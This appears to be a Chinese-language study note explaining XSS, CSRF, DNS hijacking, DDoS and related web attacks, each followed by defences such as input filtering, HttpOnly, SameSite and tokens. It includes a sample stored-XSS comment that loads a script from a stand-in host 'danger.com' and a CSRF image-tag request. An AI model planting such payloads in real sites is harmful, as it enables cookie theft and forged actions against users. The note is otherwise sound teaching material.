XSS 和 CSRF 是 web 安全领域,最常见的攻击方式。
# 1. XSS(Cross Site Script)跨站脚本攻击
XSS
攻击是指攻击者在网页上注入攻击脚本,从而获取用户的隐私数据(如:cookie、session等)。本质是恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。
# 如何攻击
XSS
攻击主要分为三种:存储型、反射型、DOM型
# 存储型
攻击步骤:
- 攻击者将恶意代码提交到目标网站的数据库中;
- 用户打开目标网站时,服务端从数据库中取出恶意代码,拼接在
HTML
中返回给浏览器; - 浏览器接收到含有恶意代码的
HTML
并执行; - 恶意代码窃取用户数据并发送给攻击者,或者冒充用户调用目标网站的接口,对目标网站执行指定的攻击。
这种攻击常见于带有用户保存数据的网站,这样攻击者才有机会将恶意代码提交到数据库,如论坛发帖、商品评论、用户私信等。
eg. 发表恶意评论,被存入数据库:
质量非常不错!<script src="danger.com/spread.js"></script>
当页面读取并展示该评论时,就会加载并执行恶意代码。
# 反射型
攻击步骤:
- 攻击者构造出带有恶意代码的
URL
; - 用户打开带有恶意代码的
URL
时,服务端从URL
中取出恶意代码,拼接在HTML
中返回给浏览器; - 浏览器接收到含有恶意代码的
HTML
并执行; - 恶意代码窃取用户数据并发送给攻击者,或者冒充用户调用目标网站的接口,对目标网站执行指定的攻击。
这种攻击常见于通过URL
传递参数的功能,如网站搜索、跳转等。
与存储型的区别在于:存储型的恶意代码在数据库中,而反射型的恶意代码在URL
中。
# DOM型
攻击步骤:
- 攻击者构造出带有恶意代码的
URL
; - 用户打开带有恶意代码的
URL
时,浏览器从URL
中取出恶意代码,并执行; - 恶意代码窃取用户数据并发送给攻击者,或者冒充用户调用目标网站的接口,对目标网站执行指定的攻击。
这种攻击也是常见于通过URL
传递参数的功能,如网站搜索、跳转等。
与存储型、反射型的区别在于:DOM
型攻击是由浏览器取出恶意代码而非服务端取出,所以属于前端自身的安全漏洞,而另外两种属于服务端安全漏洞。
# 如何防范
- 前端输入校验
针对存储型,表单提交前进行校验,例如将
<script>
中的'<''>'转译成对应的ASCII码、使用xss校验模块js-xss
等。 - 服务端输入过滤 由于攻击者可以通过直接构造请求,绕过前端过滤,所以,输入过滤通常放在服务端进行。
- 防止劫持cookie 服务端在响应报文的 Set-Cookie 字段中,添加 HttpOnly ,可禁止 js 获取cookie,从而阻止恶意代码劫持cookie。
# 2. CSRF(Cross Site Request Forgery)跨站请求伪造
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
# 如何攻击
攻击步骤:
- 用户登录
a.com
,并保留了登录凭证(cookie
); - 攻击者引诱用户访问
b.com
; b.com
向a.com
服务器发送一个请求:a.com/act=xx
,浏览器会默认携带a.com
的cookie
;a.com
服务端收到请求后,通过cookie
验证,误以为用户身份有效;- 攻击者冒用用户身份,成功的在目标网站执行了恶意代码。
(CSRF通常是为了对目标服务器进行数据更新(例如转账)等操作,假设a.com网站用get请求实现数据更新,那么攻击者只需发送类似<img src="a.com/act=xx"/>
这样的get请求即可实现攻击,而a.com网站使用post请求实现数据更新,就会增加攻击难度(需要模拟表单提交),这也说明了我们应该选用正确的请求方式实现相应http请求。另一方面,使用post请求实现数据更新,也为Cookie中设置SameSite字段防范CSRF攻击提供了可能)
# 如何防范
通过上述步骤可以发现CSRF
的特点:
- 攻击发生在第三方域名;
- 攻击者没有获取用户的
cookie
信息,而只是冒用。
针对这两个特点,可以制定防范措施:
- 阻止不明域名的访问:
- 同源检查(请求头中添加Origin字段 —— 注意 Origin 与 Referer,前者仅包含协议和域名,而后者是完整的 URI 存在安全隐患);
- 利用Cookie中的SameSite字段限制第三方页面访问目标网站时携带Cookie,它有三个值:Strict-所有形式访问都不允许,Lax-仅部分Get形式请求允许(包括链接跳转、css加载请求、GET表单提交),None-关闭此限制。(因为通常数据更新操作都是post请求实现,所以仅允许get请求能拿到cookie,就可以避免伪造post请求实现攻击)
- 提交请求时附加本域名下才能获得的信息:token验证。(token存在localstorage中,由于同源限制,只有在本域名下才能获取)
# 3. DNS劫持
URL请求的第一步是DNS解析,获得ip地址后向对应服务器发起请求。而DNS劫持就是指在DNS解析过程中,使浏览器获取到错误的ip地址,从而诱导用户访问恶意网站,窃取用户信息。
要了解DNS劫持发生在哪些环节,就要清楚DNS解析经历哪些步骤:
- 查找浏览器DNS缓存;
- 查找操作系统DNS缓存、host配置;
- 查找路由器DNS缓存;
- 查找运营商本地服务器DNS缓存;
- 查找根域名——>顶级域名——>次级域名——>主机名,得到完整IP。(www.baidu.com.root)
# 如何劫持
- 本地DNS劫持:使用户电脑感染木马病毒或安装恶意软件后,恶意修改浏览器DNS缓存、操作系统DNS缓存、host配置等;
- 路由器DNS劫持:很多用户使用路由器的默认密码,攻击者可以侵入到路由管理员账号中,修改路由器的DNS缓存、默认DNS配置等;
- 攻击DNS服务器
# 如何防范
- 开启防火墙、安装杀毒软件;
- 增加路由器密码复杂度;
- 用HTTP DNS 代替 Local DNS,即让DNS查询绕过查找浏览器、操作系统、路由器等本地缓存。
# 4. DDoS攻击
称是 Distributed Denial of Service,翻译成中文就是分布式拒绝服务。是指对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。
# 如何防范
- CDN加速,利用CDN较少直接访问服务器的请求数量;
- 设置黑名单,拒绝特定用户的访问;
- DDoS清洗,拒绝响应特定用户的请求(允许访问,但不响应)。
# 5. 其它常见网络安全
# 网络劫持攻击
攻击方式:攻击者利用代理服务器、路由器等中间件,截取http请求中的用户信息。
防范措施:Http请求加密。
# 控制台注入代码
攻击方式:诱导用户在控制台输入相关代码,从而获取用户cookie等信息。
防范措施:控制台友好提示用户不要在此操作。
← HTTP缓存机制 《图解HTTP》学习笔记 →